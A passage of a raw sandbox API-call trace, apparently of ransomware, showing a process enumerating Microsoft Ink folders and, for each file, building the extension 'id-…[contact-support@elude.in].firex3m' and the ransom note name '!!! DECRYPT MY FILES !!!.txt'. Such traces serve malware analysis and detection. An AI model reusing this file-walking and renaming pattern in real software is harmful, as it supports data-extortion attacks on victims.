shared\\ink\\lv-LV\\") returned 1 [0114.595] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0114.595] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.595] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0114.595] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.595] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.596] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui") returned 1 [0114.596] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui") returned 0x48 [0114.596] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.596] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.596] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.596] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.596] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.596] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0114.596] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0114.596] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll") returned 1 [0114.596] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll") returned 0x3d [0114.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.597] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.597] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.597] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc2004e62, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0114.597] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll", len=0x44 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll") returned 1 [0114.597] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll") returned 0x44 [0114.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.597] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.597] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.597] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd51e08b5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd51e08b5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x178200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0114.598] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe", len=0x3a | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 1 [0114.598] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe", cchLength=0x3a | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\mip.exe") returned 0x3a [0114.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.598] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.598] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.598] GetProcessHeap () returned 0x630000 [0114.598] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fe0, Size=0x24) returned 0x699768 [0114.598] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xde1acd8d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xde1acd8d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x612e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0114.598] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\mip.exe", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll", len=0x3c | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 1 [0114.598] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll") returned 0x3c [0114.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.599] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.599] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.599] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0114.599] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll", len=0x3e | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 1 [0114.599] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll") returned 0x3e [0114.599] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.599] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.599] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.599] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.599] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe3805ad4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe3805ad4, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x106a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0114.599] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll", len=0x40 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 1 [0114.600] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll") returned 0x40 [0114.600] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.600] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.600] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.600] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.600] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0114.600] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\") returned 1 [0114.600] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\") returned 0x39 [0114.600] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.600] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.600] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5400 [0114.601] FindNextFileW (in: hFindFile=0x6d5400, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.601] FindNextFileW (in: hFindFile=0x6d5400, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.601] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 1 [0114.601] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui") returned 0x48 [0114.601] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.601] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.601] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.601] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.601] FindNextFileW (in: hFindFile=0x6d5400, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.601] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0114.601] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0114.602] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\") returned 1 [0114.602] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\") returned 0x39 [0114.602] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.602] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.602] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f00 [0114.606] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.606] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.606] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 1 [0114.606] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui") returned 0x48 [0114.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.606] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.607] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.607] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.607] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0114.607] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, 